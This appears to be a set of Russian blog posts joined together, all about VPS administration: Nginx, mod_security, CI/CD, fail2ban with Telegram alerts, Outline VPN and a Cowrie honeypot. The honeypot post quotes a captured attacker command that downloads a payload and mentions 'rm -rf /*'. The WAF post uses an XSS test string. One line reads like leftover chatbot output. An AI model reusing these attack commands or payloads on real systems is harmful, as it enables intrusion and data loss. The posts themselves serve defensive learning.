Когда у меня появился первый VPS, я разместила на нём один проект и подумала: «Ну, места хватает, ресурсов тоже — зачем платить ещё за второй сервер?». И тут встал вопрос: как правильно держать несколько сайтов на одном VPS, чтобы всё работало быстро, безопасно и без конфликта портов? Ответом стал Nginx с его поддержкой виртуальных хостов (server blocks).

Почему Nginx подходит для нескольких сайтов

Nginx изначально спроектирован как лёгкий и быстрый веб-сервер. Его архитектура «одно ядро — много соединений» позволяет без проблем обслуживать десятки сайтов даже на скромных конфигурациях. Главное — правильно прописать server blocks (виртуальные хосты).

Плюсы:

• экономия на инфраструктуре (несколько сайтов — один VPS);
• изоляция конфигураций (каждый домен живёт в своём блоке);
• удобное масштабирование (добавил конфиг — получил новый сайт).

Шаг 1. Структура каталогов

Чтобы не запутаться, лучше сразу завести отдельные папки:

/var/www/
  ├── site1.com/
  │   └── public_html/
  ├── site2.org/
  │   └── public_html/

Каждый сайт хранится в своей директории, права доступа — через владельца (chown -R www-data:www-data).

Шаг 2. Настройка Nginx под несколько доменов

Файлы конфигурации создаём в /etc/nginx/sites-available/. Например:

Для site1.com:

server {
    listen 80;
    server_name site1.com www.site1.com;

    root /var/www/site1.com/public_html;
    index index.html index.php;

    location / {
        try_files $uri $uri/ =404;
    }
}

Для site2.org:

server {
    listen 80;
    server_name site2.org www.site2.org;

    root /var/www/site2.org/public_html;
    index index.html index.php;

    location / {
        try_files $uri $uri/ =404;
    }
}

Дальше активируем:

sudo ln -s /etc/nginx/sites-available/site1.com /etc/nginx/sites-enabled/
sudo ln -s /etc/nginx/sites-available/site2.org /etc/nginx/sites-enabled/

И проверяем конфиг:

sudo nginx -t
sudo systemctl reload nginx

Шаг 3. SSL для каждого домена

Без HTTPS сегодня никуда. Самый удобный способ — Let’s Encrypt через Certbot:

sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d site1.com -d www.site1.com
sudo certbot --nginx -d site2.org -d www.site2.org

Nginx автоматически обновит конфиги, добавит listen 443 ssl и привяжет сертификаты.

Шаг 4. Логи и мониторинг

Каждый сайт получает свои логи:

access_log /var/log/nginx/site1.access.log;
error_log  /var/log/nginx/site1.error.log;

То же для второго. Это сильно облегчает отладку — видно, где проблемы.

Личный опыт

У меня был VPS на 2 ГБ RAM, где жили одновременно:

• мой блог на WordPress,
• тестовый сайт для клиента,
• и мини-портфолио.

Все три сайта работали на одном Nginx, и сервер держал нагрузку без проблем. Самая большая ошибка, которую я совершила вначале, — разместила все проекты в одной директории. Потом при обновлениях начался хаос. Поэтому совет: держите жёсткую структуру директорий и аккуратно прописывайте права.

Полезные советы

• используйте fail2ban для защиты от переборов по SSH и HTTP;
• включайте gzip/brotli в Nginx для оптимизации скорости;
• ставьте PHP-FPM пулы отдельно для каждого сайта (если проекты на PHP).

Поддерживать несколько сайтов на одном VPS через Nginx — это реально и удобно. Главное — структурировать каталоги, грамотно прописывать server blocks и позаботиться про HTTPS. Такой подход отлично подходит для блогов, лендингов и даже средних e-commerce проектов.

Источник: Community">%BLOGTITLE%. Все права защищены.

Когда вы открываете свой сервер в интернет, вы по сути бросаете вызов всему миру: от случайных сканеров до целенаправленных атак. Одним из простых и мощных способов защититься — это mod_security. Расскажу, как я настраивала его на Apache на своём VPS и что из этого получилось.

Что такое mod_security и зачем он нужен?

mod_security — это веб-аппликационный firewall (WAF), который работает в связке с веб-сервером Apache (или Nginx, но там немного сложнее). Он перехватывает HTTP-запросы до того, как они попадают к вашему приложению. Например, кто-то решил проверить, есть ли у вас уязвимости SQL-инъекций — mod_security может «поймать» такой запрос и заблокировать его.

Это не серебряная пуля, но для старта — очень достойный уровень защиты. Особенно если вы хостите WordPress, Laravel, Bitrix или любое другое приложение, которое часто становится целью ботов и сканеров.

Установка mod_security на VPS с Apache

Я использую Ubuntu 22.04 LTS. Установка — дело двух команд:

sudo apt update
sudo apt install libapache2-mod-security2 -y

После установки модуль автоматически активируется, но работает в режиме обнаружения (Detection Only) — то есть он пишет в лог, но не блокирует. Это хорошо на старте, чтобы не забанить случайно половину легитимных пользователей.

Перевод в режим блокировки (On)

Открываем основной конфиг:

sudo nano /etc/modsecurity/modsecurity.conf-recommended

Находим строку:

SecRuleEngine DetectionOnly

И меняем на:

SecRuleEngine On

Затем сохраняем файл как modsecurity.conf:

sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

Подключаем базовые правила OWASP CRS

OWASP ModSecurity Core Rule Set (CRS) — это набор уже готовых правил, заточенных под реальные угрозы. Подключить их — это must-have:

cd /usr/share
sudo git clone https://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
sudo cp -r rules /etc/modsecurity/
sudo cp crs-setup.conf /etc/modsecurity/

Теперь подключаем эти правила в Apache:

sudo nano /etc/apache2/mods-enabled/security2.conf

Добавляем в конец:

IncludeOptional /etc/modsecurity/crs-setup.conf
IncludeOptional /etc/modsecurity/rules/*.conf

Сохраняем и перезапускаем Apache:

sudo systemctl restart apache2

Проверка работы

Самый простой способ — попробовать с curl:

curl http://yourdomain.com/?param=%3Cscript%3Ealert(1)%3C/script%3E

Если mod_security работает, вы получите ошибку 403, а в логе /var/log/apache2/modsec_audit.log появится запись о блокировке XSS-инъекции.

Где хранятся логи?

По умолчанию:

• /var/log/apache2/modsec_audit.log — полные логи по событиям.
• /var/log/apache2/error.log — общие ошибки Apache, иногда срабатывает сюда.

Очень полезно поставить tail в реальном времени:

sudo tail -f /var/log/apache2/modsec_audit.log

Фильтрация по IP и whitelist

Если вы заметили, что mod_security слишком агрессивен (например, блокирует ваш API), можно добавить исключения. Пример исключения по URI:

SecRule REQUEST_URI "@beginsWith /api" "id:1234,phase:1,nolog,allow,ctl:ruleEngine=Off"

Можно добавить whitelist по IP:

SecRule REMOTE_ADDR "^123\.123\.123\.123$" "id:1000,phase:1,nolog,allow"

Советы по производительности

• Не включайте слишком много правил, особенно если трафик большой.
• Используйте ctl:ruleRemoveById для отключения конкретных правил.
• Храните копии конфигов — особенно modsecurity.conf и crs-setup.conf.

Итого…

mod_security — это бесплатный и мощный инструмент для фильтрации веб-трафика. Я на своём VPS теперь чувствую себя гораздо спокойнее: каждый входящий запрос фильтруется, попытки атак логируются, а лишний шум блокируется ещё до того, как дойдёт до PHP.

Если вы ещё не ставили его на свой сервер — очень советую. Это одна из тех вещей, которую ты один раз настраиваешь, а потом она спасает тебе часы и нервы.

Источник: Community">%BLOGTITLE%. Все права защищены.

Когда я впервые столкнулась с задачей автоматизации доставки кода на VPS, выбор пал на Bitbucket Pipelines. Он простой, встроен в репозиторий и не требует отдельной установки Jenkins, GitLab CI или других тяжеловесных решений. На выходе получился удобный и устойчивый CI/CD пайплайн, который я с тех пор многократно масштабировала под разные проекты.

Что нам нужно:

• Bitbucket-репозиторий с включёнными Pipelines
• VPS с доступом по SSH
• Docker или Nginx (по желанию)
• Скрипт деплоя или rsync, если проект не в контейнерах

Что такое pipeline?

Pipeline — это последовательность шагов, которые выполняются при каждом коммите, пуше или pull-запросе. В контексте CI/CD (Continuous Integration/Continuous Delivery) пайплайн автоматизирует сборку, тестирование и деплой проекта.

В Bitbucket пайплайны описываются в YAML-файле .bitbucket-pipelines.yml, который лежит в корне проекта. Всё, что нужно — задать шаги: сборка, тесты, деплой, уведомления и т. д.

Мой конфиг .bitbucket-pipelines.yml

Вот пример того, как я настраиваю CI/CD pipeline для обычного Python + Flask проекта:

image: python:3.11

pipelines:
  branches:
    main:
      - step:
          name: Deploy to VPS
          caches:
            - pip
          script:
            - pip install -r requirements.txt
            - scp -o StrictHostKeyChecking=no -r ./ myuser@your.vps.ip:/home/myuser/project
            - ssh myuser@your.vps.ip 'cd /home/myuser/project && systemctl restart flask-app'

Здесь:

• устанавливаем зависимости,
• копируем проект на VPS по SSH,
• и перезапускаем systemd-сервис приложения.

Переменные окружения и SSH-доступ

Bitbucket позволяет безопасно хранить SSH-ключи и токены через интерфейс Repository Settings → Pipelines → Repository variables. Чтобы соединение scp и ssh в пайплайне работало, я:

1. Создаю SSH-ключ командой:

ssh-keygen -t rsa -b 4096 -C "ci@bitbucket"

2. Публичный ключ (.pub) добавляю на VPS в ~/.ssh/authorized_keys.
3. Приватный ключ (id_rsa) добавляю в Bitbucket как DEPLOY_KEY.
4. В скрипте прописываю:

script:
  - echo "$DEPLOY_KEY" > id_rsa
  - chmod 600 id_rsa
  - ssh -i id_rsa ...

Теперь деплой полностью автоматизирован, а доступ — защищён.

Деплой через Docker

Если проект упакован в Docker, пайплайн становится чище. Я обычно пушу образ в Docker Hub, а VPS тянет его сам:

pipelines:
  default:
    - step:
        name: Build and Push Docker Image
        script:
          - docker build -t mydockerhubuser/myproject:latest .
          - echo "$DOCKER_PASSWORD" | docker login -u "$DOCKER_USERNAME" --password-stdin
          - docker push mydockerhubuser/myproject:latest

А на сервере:

docker pull mydockerhubuser/myproject:latest
docker compose up -d

Нюансы и удобства

Bitbucket Pipelines умеет:

• делать разные пайплайны по веткам (main, dev, release);
• триггерить пайплайны вручную;
• интегрироваться с Slack / Telegram через webhook;
• логировать каждый шаг для отладки.

Также удобно, что можно задать startLimitBurst, restart=on-failure, RestartSec=5s в systemd, чтобы сервис перезапускался сам при падении (см. статью про auto-healing с systemd).

Отлично! Вот Часть 3/3 статьи по теме «Создание CI/CD пайплайна с Bitbucket + VPS» — логично завершённая, с финальными разделами и SEO-блоком.

Мониторинг CI/CD и логика откатов

Когда пайплайн готов, важно наблюдать за ним: вдруг один из шагов будет падать после обновлений зависимостей, изменения API, банального timeout.

Я использую Telegram-бота, который присылает мне сообщения об успехе или провале:

- curl -X POST https://api.telegram.org/bot$TG_TOKEN/sendMessage \
  -d chat_id=$TG_CHAT_ID \
  -d text=" Деплой успешно завершён на $BITBUCKET_BRANCH"

Добавляю это в after-script, чтобы знать, даже если всё упало.

Также на сервере у меня настроено:

• fail2ban — блокирует IP при подозрительной активности;
• Uptime Kuma — следит за тем, что сайт доступен;
• systemd с Restart=on-failure, чтобы приложение не падало навсегда.

Когда стоит выбрать не Bitbucket Pipelines

Bitbucket отлично справляется с CI/CD, но у него есть ограничения:

• бесплатный тариф ограничен 50 минутами в месяц (хватает для простых проектов);
• иногда сложно настроить развёртывание на несколько серверов или сложные пайплайны.

В таких случаях можно:

• перейти на GitHub Actions (больше интеграций и шаблонов);
• использовать GitLab CI — там всё в одном: git + CI/CD + registry.

Я использовала Bitbucket Pipelines, когда:

• проект был на Flask или Laravel, с одним VPS;
• нужен был простой и понятный конфиг;
• хотелось не тратить лишнее время на Jenkins и т.д.

Что я думаю…

Создание CI/CD пайплайна через Bitbucket и VPS — это не так страшно, как кажется. Нужно один раз всё собрать, протестировать — и дальше разработка идёт в удовольствие: никаких «заходи на сервер, перезагрузи руками», никаких «ой, забыла скопировать .env».

На проекте у меня это выглядит так:

• пушу код → пайплайн собирает и деплоит → Telegram уведомляет → сайт обновлён.

Экономия времени? Колоссальная.
Ошибок? Почти нет.
Покой? Почти дзен

Источник: Community">%BLOGTITLE%. Все права защищены.

Честно скажу — идея поставить OpenMediaVault (OMV) на VPS не была для меня очевидной. Обычно OMV ставят на физические машины, чтобы превратить старенький ПК или маломощный сервер в сетевое хранилище (NAS). Но у меня стояла задача: нужен был простой способ управлять файлами, резервными копиями и доступом — удалённо, стабильно и без плясок с samba и webdav. Так я и начала копать в сторону установки OpenMediaVault на VPS.

И это реально работает. Рассказываю, как я всё развернула.

Зачем ставить OpenMediaVault на VPS?

Если коротко:

• Хочешь NAS, но нет железа под рукой — OMV на VPS решает.
• Нужно централизованное хранилище для проектов — OMV даёт понятный web-интерфейс.
• Резервные копии, доступ по FTP/SMB/NFS, Docker — всё уже встроено.

Если ты ищешь решение вроде nas своими руками, но не хочешь собирать коробку дома — VPS с OMV будет отличным компромиссом.

Какой VPS подойдёт?

Я взяла самый простой тариф с 1 CPU и 2 ГБ RAM, Debian 11 x64. Хранилище — SSD, хотя можно взять и HDD‑вариант, если нужны объёмы, а не скорость. Главное — убедись, что у тебя root-доступ и чистая система без панелей типа ISPManager.

Шаг 1: Обновляем систему

apt update && apt upgrade -y

Обязательно добавь sudo, если ты не под root.

Шаг 2: Установка OpenMediaVault

OMV официально рекомендует использовать их скрипт установки. На Debian всё просто:

wget -O - https://github.com/OpenMediaVault-Plugin-Developers/installScript/raw/master/install | sudo bash

Он сам всё подтянет: зависимости, WebUI, службы. По итогу — тебе сообщат IP и порт панели.

Интерфейс OMV будет доступен по адресу: http://<IP_VPS>:80

Шаг 3: Первый вход в интерфейс

Логинимся в веб-панель:

• Логин: admin
• Пароль: openmediavault

Первым делом меняем пароль, язык и часовой пояс. Интерфейс простой, интуитивный.

Шаг 4: Настройка дисков и общих папок

На VPS может быть один диск, но ты можешь подключить дополнительные блоковые устройства, тома или даже облачные хранилища (через rclone).

Создаёшь файловую систему, монтируешь, потом создаёшь Shared Folder и настраиваешь доступ:

• FTP
• SMB/CIFS
• Rsync
• NFS

Я лично подняла FTP для себя и WebDAV для команды — всё работает стабильно.

Шаг 5: Установка плагинов (Docker, Backup, SSH и пр.)

Включаешь OMV-Extras — это как App Store для OpenMediaVault. Там же устанавливаешь Docker, Portainer, Syncthing, Proxmox Backup и пр.

apt install openmediavault-omvextrasorg
omv-salt deploy run omvextras

После этого появится новая вкладка с плагинами.

Личный опыт: плюсы и минусы OMV на VPS

Плюсы:

• Простая установка
• Удалённое управление через WebUI
• Расширяемость за счёт плагинов (OMV Extras)
• Удобный доступ к данным по SMB/FTP
• Отлично подходит как NAS-хранилище на VPS

Минусы:

• Нужно ручками настроить безопасность (fail2ban, firewall)
• Не такой быстрый, как bare-metal NAS
• Требуется понимание Linux и сетей (хотя бы базовое)

Что ещё можно сделать?

• Настроить резервное копирование (например, через Borg или Rsync)
• Интегрировать облачное хранилище через Rclone
• Добавить Telegram-бота для уведомлений (через Webhook)
• Протянуть WireGuard и дать доступ по VPN к NAS из локальной сети

Вот еще подготовила таблицу с полезными командами и настройками для установки и конфигурации OpenMediaVault на VPS:

Установка и настройка OpenMediaVault на VPS

Источник: Community">%BLOGTITLE%. Все права защищены.

Когда ты создаёшь мобильное приложение, наступает момент, когда нужно выбрать, где будет жить твой бэкенд. Хостинг? Облако? Firebase? Или, может, VPS как endpoint? У меня был точно такой же вопрос — и после пары экспериментов я решила: буду поднимать свой VPS‑сервер под API‑эндпоинты. И сейчас расскажу, как это работает у меня и почему это оказалось удобнее, чем я ожидала.

Что такое endpoint и зачем он мобильному приложению?

Если ты ещё не сталкивался с этим термином: эндпоинт (endpoint) — это точка входа, через которую клиент (в данном случае — мобильное приложение) общается с сервером. Например, https://myapp.com/api/login — это типичный REST endpoint, через который пользователь логинится.

API endpoint — это не просто URL. Это способ взаимодействия: POST-запрос — для авторизации, GET — для получения данных, PUT/PATCH — для обновления, DELETE — ну, ты понял. Вся эта логика живёт на сервере. И именно тут начинается самое интересное — ведь ты сам выбираешь, где разместить эти эндпоинты.

Почему я выбрала VPS вместо облачных решений

Firebase был удобен… пока не стал дорогим. AWS — классный, но слишком сложный. А у меня был небольшой проект и минимальный бюджет. Я выбрала VPS как endpoint API, потому что:

• он дешевле (да, буквально $4–6 в месяц за стабильный сервер),
• у меня полный контроль над конфигурацией,
• можно легко масштабировать (перейти на более мощный тариф),
• и — это важно — я знаю, где физически находятся мои данные.

А ещё я просто люблю возиться с Linux

Установка и настройка — как это у меня работает

Сервер: VPS с Ubuntu 22.04

Я развернула его на CloudVPS (у них быстрая поддержка и недорогие тарифы).

API: Flask

Я люблю Python, и Flask — это мой go‑to фреймворк. Он лёгкий, минималистичный и идеально подходит для небольших API.

from flask import Flask, jsonify, request

app = Flask(__name__)

@app.route("/api/ping", methods=["GET"])
def ping():
    return jsonify({"message": "pong"}), 200

Nginx в роли реверс-прокси

Чтобы красиво обернуть всё это и получить https‑endpoint, использую Nginx + Certbot:

server {
    listen 80;
    server_name api.myapp.com;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

После настройки Let's Encrypt мой endpoint уже доступен по HTTPS.

Что я получила в итоге

• Стабильные API endpoints: /api/login, /api/data, /api/logout — всё на одном VPS.
• Полный контроль над ip-адресами (у меня даже был опыт с geo-балансировкой).
• Быстрый отклик приложения — пинг сервера меньше 100мс даже с мобильного интернета.
• Уровень гибкости, который сложно получить в Firebase или Supabase.

Безопасность — не забывай про неё!

Да, у тебя есть эндпоинты API, но важно не забывать про безопасность:

• Ограничь доступ по IP, если можно.
• Используй JWT или OAuth2.
• Ставь fail2ban на SSH.
• Включи бэкапы — серьёзно, не жди, пока станет поздно.

Мой вывод: VPS — это лучший друг мобильного разработчика

Серьёзно. Я думала, что это будет сложно. А оказалось — гораздо проще, чем плясать с костылями Firebase или платить за Heroku. VPS endpoint API — это твой сервер, твои правила, и никаких неожиданных ограничений.

Хочешь настроить свой эндпоинт API? Начни с чего-то простого — купи VPS, поставь Flask, прикрути Nginx — и вперёд. И если что — ты всегда можешь масштабировать.

Источник: Community">%BLOGTITLE%. Все права защищены.

Когда ты работаешь с публичным VPS, особенно если он принимает SSH-подключения или обслуживает веб-приложения, важно быть начеку. Брутфорс, попытки подбора паролей, подозрительные запросы — всё это происходит чаще, чем хотелось бы. Один из самых простых и надёжных способов защитить сервер от подобных атак — это fail2ban. А если хочешь получать алерты напрямую в Telegram, можно всё связать через webhook. Я так и сделала — и делюсь пошаговой инструкцией.

Что такое fail2ban и зачем он нужен

fail2ban — это инструмент, который мониторит логи (например, /var/log/auth.log) и банит IP-адреса, замеченные в подозрительной активности. Например, если кто-то несколько раз подряд неправильно ввёл пароль при попытке входа по SSH — fail2ban автоматически добавит этот IP в iptables или nftables и заблокирует доступ.

Ключевые возможности:

• защита SSH, nginx, postfix, dovecot и других сервисов;
• гибкая настройка bantime, findtime, maxretry;
• whitelist IP;
• интеграция с Telegram, email и другими способами уведомлений.

Установка fail2ban на Ubuntu / Debian

На моём сервере стоит Ubuntu 22.04, но аналогично работает и на Debian:

sudo apt update
sudo apt install fail2ban -y

После установки он уже готов к работе — по умолчанию включена защита SSH.

Базовая настройка /etc/fail2ban/jail.local

Создай файл jail.local, чтобы не трогать оригинальный jail.conf:

sudo nano /etc/fail2ban/jail.local

Добавим базовые настройки:

[DEFAULT]
bantime = 1h
findtime = 10m
maxretry = 5
ignoreip = 127.0.0.1/8 ::1

[sshd]

enabled = true port = ssh logpath = %(sshd_log)s backend = systemd

Параметры:

• bantime — сколько длится бан (можно bantime = -1 для вечного);
• findtime — за какой период считаются попытки;
• maxretry — сколько попыток до блокировки;
• ignoreip — IP, которые никогда не будут забанены (добавь свой домашний IP сюда!).

Отправка алертов в Telegram

Теперь к самому интересному — уведомления в Telegram. Удобно получать сообщение сразу, как кто-то стучится в SSH или на сайт.

1. Создай Telegram-бота

Зайди в Telegram и найди @BotFather. Введи:

/newbot

Дай имя и username (должен оканчиваться на bot), получишь токен — сохрани его.

2. Получи свой Chat ID

Напиши что-нибудь своему боту и открой в браузере:

https://api.telegram.org/bot<ТВОЙ_ТОКЕН>/getUpdates

Там будет chat.id — это твой ID, куда слать алерты.

Создание action-скрипта для fail2ban

Создай новый action-файл, например:

sudo nano /etc/fail2ban/action.d/telegram-ban.conf

Вставь:

[Definition]
actionstart = echo "fail2ban started on <hostname>" | /usr/bin/curl -s -X POST https://api.telegram.org/bot<TOKEN>/sendMessage -d chat_id=<CHAT_ID> -d text="fail2ban started on <hostname>"
actionstop = echo "fail2ban stopped" | /usr/bin/curl -s -X POST https://api.telegram.org/bot<TOKEN>/sendMessage -d chat_id=<CHAT_ID> -d text="fail2ban stopped"
actionban = /usr/bin/curl -s -X POST https://api.telegram.org/bot<TOKEN>/sendMessage -d chat_id=<CHAT_ID> -d text="🚨 IP <ip> заблокирован fail2ban на <hostname>"
actionunban = /usr/bin/curl -s -X POST https://api.telegram.org/bot<TOKEN>/sendMessage -d chat_id=<CHAT_ID> -d text="ℹ IP <ip> разблокирован fail2ban"

Замените <TOKEN> и <CHAT_ID> на свои значения. Не забудь дать права на выполнение:

sudo chmod +x /etc/fail2ban/action.d/telegram-ban.conf

Подключение action в jail.local

Допиши в [sshd]:

action = telegram-ban

Теперь после каждой блокировки IP ты получаешь Telegram-оповещение с IP, датой и типом события.

Полезные команды для fail2ban

Чтобы не забыть, вот краткий справочник:

• Проверить статус:

sudo fail2ban-client status

• Посмотреть статус конкретного jail (например, sshd):

sudo fail2ban-client status sshd

• Разблокировать IP:

sudo fail2ban-client set sshd unbanip 123.123.123.123

• Перезапустить fail2ban:

sudo systemctl restart fail2ban

• Просмотреть логи:

sudo journalctl -u fail2ban

Получается, что…

интеграция fail2ban с Telegram — это не просто красиво, а действительно полезно. Ты мгновенно узнаешь о попытках взлома и можешь оперативно реагировать. Особенно важно, если на сервере хостится важный проект.

Эта связка особенно хороша на VPS, где нет внешней панели безопасности — ты сам себе и админ, и охранник, и монитор. Поэтому стоит настроить fail2ban с Telegram alert-ами один раз и спать спокойнее.

Источник: Community">%BLOGTITLE%. Все права защищены.

В какой-то момент я поняла, что устала объяснять друзьям, чем отличается обычный VPN от решений вроде Outline. Это как раз тот случай, когда всё работает «из коробки», а при этом ты всё равно получаешь полный контроль. Поэтому я решила рассказать, как установить Outline VPN на VPS — и почему это может быть лучшим решением для ваших задач.

Зачем нужен Outline VPN

Outline — это open source‑проект от Jigsaw (входит в Google). Его цель — сделать настройку VPN настолько простой, чтобы даже новички справились. Основная особенность Outline VPN — он использует протокол Shadowsocks, который работает быстрее и обходится с фильтрами аккуратнее, чем OpenVPN или даже WireGuard в некоторых ситуациях.

Вот основные причины, по которым я выбрала Outline:

• Минимальная настройка сервера — всё делается через Outline Manager.
• Клиенты под Windows, Android, iOS, macOS и Linux.
• Отдельная консоль для управления ключами доступа (можно удалять, добавлять и ограничивать пользователей).
• Совместимость с VPS на Ubuntu 18.04, 20.04, 22.04 и других версиях.

Что понадобится для установки Outline VPN на VPS

Вот что нам нужно на старте:

• VPS-сервер (минимум 512 МБ ОЗУ, 1 CPU). Лучше выбрать хостинг с выделенным IP, например, на CloudVPS.
• Ubuntu 20.04 или 22.04.
• root-доступ по SSH.
• Терпение — чуть меньше, чем на установку OpenVPN

Шаг 1. Установка Outline Manager

На клиентском компьютере (например, ноутбуке под Windows или macOS) нужно установить Outline Manager — это десктопное приложение, которое подключается к вашему VPS и устанавливает Outline Server.

Скачать можно отсюда: https://getoutline.org/

После запуска Outline Manager нажимаем “Set up Outline Server” → “DigitalOcean or your own server” → “I have my own server”.

Вводим:

• IP вашего VPS
• root-пароль или приватный SSH-ключ

Программа сама подключится к серверу и выполнит автоматическую установку Outline VPN. Достаточно подождать 1-2 минуты.

Шаг 2. Что делает скрипт установки

Outline Manager выполняет следующие действия:

1. Устанавливает Docker (если его нет).
2. Запускает контейнер с Outline Server.
3. Открывает нужные порты (1984, 1024–65535 TCP/UDP).
4. Создаёт первый ключ доступа (Outline Access Key) — это специальная ссылка, которую можно использовать для подключения к серверу.

Пример ссылки:

ss://Y2hhY2hhMjAtaWV0ZjowZGVhZ...@203.0.113.123:12345/?outline=1

Шаг 3. Подключение клиента Outline VPN

Теперь, когда сервер настроен, нам нужно установить Outline Client на устройстве, с которого вы хотите подключаться (телефон, ноутбук и т. д.).

Скачать клиент можно отсюда:
https://getoutline.org/en/home

Открываем клиент, вставляем ключ (он будет скопирован автоматически после установки сервера) и нажимаем Connect. Всё!

Частые вопросы и проблемы

Как изменить порт сервера Outline?

Для этого придётся зайти в Docker-контейнер:

docker exec -it shadowbox bash

А затем — изменить конфигурацию вручную. Но проще пересоздать сервер с новым портом в Outline Manager.

Что делать, если Outline VPN не работает?

• Убедитесь, что порты 1984 и 1024–65535 открыты в фаерволе.
• Попробуйте перезапустить контейнер:

docker restart shadowbox

Подходит ли Outline VPN для обхода блокировок?

Да, и именно в этом его сила. Протокол Shadowsocks хорошо маскируется под обычный трафик. Особенно эффективен при использовании с IP-адресами из Европы (например, Германия или Финляндия).

Полезные команды

Проверка, что контейнер запущен:

docker ps

Перезапуск сервера:

docker restart shadowbox

Просмотр логов:

docker logs shadowbox

Удаление сервера Outline:

docker stop shadowbox && docker rm shadowbox

Таблица: сравнение Outline и других VPN

Источник: Community">%BLOGTITLE%. Все права защищены.

В один из вечеров, когда я проверяла логи на своём VPS, я заметила странную активность: десятки попыток входа по SSH с разных IP. Это был не targeted-атак, а обычный background noise интернета — боты сканируют IP в поисках открытых дверей. Тогда я решила: “А почему бы не посмотреть, что они вообще делают, если им дать иллюзию доступа?” И так началась моя история с honeypot-сервером на VPS.

Что такое honeypot и зачем он нужен?

Honeypot (ханипот) — это специальный сервер или сервис, который имитирует уязвимую систему, чтобы привлечь злоумышленников. Это как ловушка, которая вместо того, чтобы прятаться, наоборот — говорит: “Эй, зайди, здесь открыто”. Цель — не допустить атакующего в настоящую инфраструктуру, а наблюдать, как он себя поведёт, какие команды вводит, что ищет, какие эксплойты применяет.

Honeypot это не только для фана. Он может:

• Помочь выявить типичные методы атаки
• Собрать данные для защиты основной инфраструктуры
• Повысить навыки анализа инцидентов
• В ряде случаев — отпугнуть неопытных злоумышленников

Почему я выбрала VPS для honeypot

Настройка honeypot на домашнем сервере — занятие интересное, но ограниченное: IP не всегда белый, провайдер может заблокировать порт 22. А вот VPS — идеальный кандидат:

• Статичный белый IP
• Полный root-доступ
• Можно легко изолировать сервер от продакшена
• Стоит недорого (особенно если взять самый простой VDS, например, как у Timeweb или CloudVPS)

Выбор инструмента: Cowrie или T-Pot?

Для начала я рассматривала разные варианты honeypot’ов. Самые популярные на сегодня:

Я остановилась на Cowrie, потому что он прост, работает на Python, легко логирует всё в текст, и его легко обновлять. А главное — идеально подходит для SSH honeypot.

Установка Cowrie honeypot на VPS: пошагово

1. Настроить изолированную среду

Я создала новый VPS (на Ubuntu 22.04), отключила все ненужные порты, кроме 22, и… перенесла реальный SSH на порт 2222:

sudo nano /etc/ssh/sshd_config
# Меняем:
Port 2222
sudo systemctl restart ssh

Теперь порт 22 свободен — туда и посадим ловушку.

2. Установка зависимостей:

sudo apt update
sudo apt install git python3-venv libssl-dev libffi-dev build-essential libpython3-dev -y

3. Клонирование Cowrie:

git clone https://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

4. Настройка и запуск:

cp etc/cowrie.cfg.dist etc/cowrie.cfg
# В конфиге можно изменить фейковые логины/пароли, логирование и т.д.
bin/cowrie start

Что я узнала за первую неделю

Через сутки после запуска honeypot начал собирать логины:

• admin / admin
• root / toor
• user / 123456

Боты пытались установить майнеры, качать скрипты с Pastebin, делать curl и wget на IP-шники из азиатских подсетей. Один “гость” даже ввёл rm -rf /* — забавно, ведь Cowrie перехватывает такие команды, не давая им навредить.

Как логируются команды

Cowrie записывает всё в var/log/cowrie:

• cowrie.log — общие события
• tty/ — эмуляция терминала (прямо как видеозапись)
• downloads/ — файлы, которые пытались загрузить

Вот пример команды злоумышленника:

2025-08-14T21:53:12+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,521,10.9.6.22] CMD: wget http://malicious-ip/payload.sh

Безопасность honeypot-сервера

Чтобы honeypot не стал сам жертвой:

• Я установила iptables и разрешила только порты 22, 2222
• Отключила исходящие соединения через ufw deny out
• Настроила ежедневную очистку логов через logrotate
• В случае взлома — VPS можно просто пересоздать

Можно ли ловить DDoS или ботнеты?

На мой взгляд — не стоит пытаться перехватить ботнеты или вмешиваться в работу атакующих. Honeypot — это наблюдательный инструмент, а не платформа для “контратак”. Лучше просто сохранять информацию, изучать поведение и повышать защиту.

Итого: стоит ли запускать honeypot на VPS?

Если вы интересуетесь безопасностью, хотите научиться анализировать атаки, работать с логами и понять, как выглядят “черные” сканеры интернета — да, стоит. Это дешево, увлекательно и очень познавательно.

Источник: Community">%BLOGTITLE%. Все права защищены.

Бывает, что нужно спрятать основной API, разнести нагрузку или просто построить надёжный промежуточный слой между клиентом и основным сервисом. В одном из таких случаев я подняла VPS как API-ретранслятор с использованием Flask и Nginx. Расскажу, как я это делала, на реальном примере. Писать буду, как всегда, от души и по-человечески — без заумностей, но с практикой.

Когда и зачем нужен API-ретранслятор

Я впервые начала использовать VPS как API-прокси, когда у клиента был закрытый внутренний API, а мобильное приложение требовало открытой точки входа. Основные задачи были:

• защитить основной API от перегрузки;
• добавить промежуточную авторизацию;
• кэшировать часть запросов;
• логировать трафик.

Проще всего в таких случаях использовать связку Flask + Nginx. Flask — для обработки логики, авторизации, ограничения доступа и пр., Nginx — для балансировки и отдачи статики, если надо.

Шаг 1: Готовим VPS

Я взяла обычный VPS на Ubuntu 22.04, 1 vCPU, 1 ГБ RAM — больше не надо. Убедитесь, что установлен Python:

python3 --version

Если нет — ставим:

sudo apt update
sudo apt install python3 python3-pip

Шаг 2: Пишем Flask-приложение

Создаём минимальный прокси-сервер на Flask. Пусть он просто принимает запросы и пересылает их дальше:

from flask import Flask, request, jsonify
import requests

app = Flask(__name__)
UPSTREAM_API = 'https://api.example.com'

@app.route('/api/<path:path>', methods=['GET', 'POST'])
def proxy(path):
    headers = dict(request.headers)
    if request.method == 'GET':
        r = requests.get(f"{UPSTREAM_API}/{path}", headers=headers, params=request.args)
    else:
        r = requests.post(f"{UPSTREAM_API}/{path}", headers=headers, data=request.data)
    return (r.content, r.status_code, r.headers.items())

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

Сохраняем как app.py и запускаем:

python3 app.py

Можно протестировать запросом:

curl http://localhost:5000/api/ping

Шаг 3: Настройка Gunicorn + systemd

Чтобы Flask работал как сервис, поднимаем его через Gunicorn:

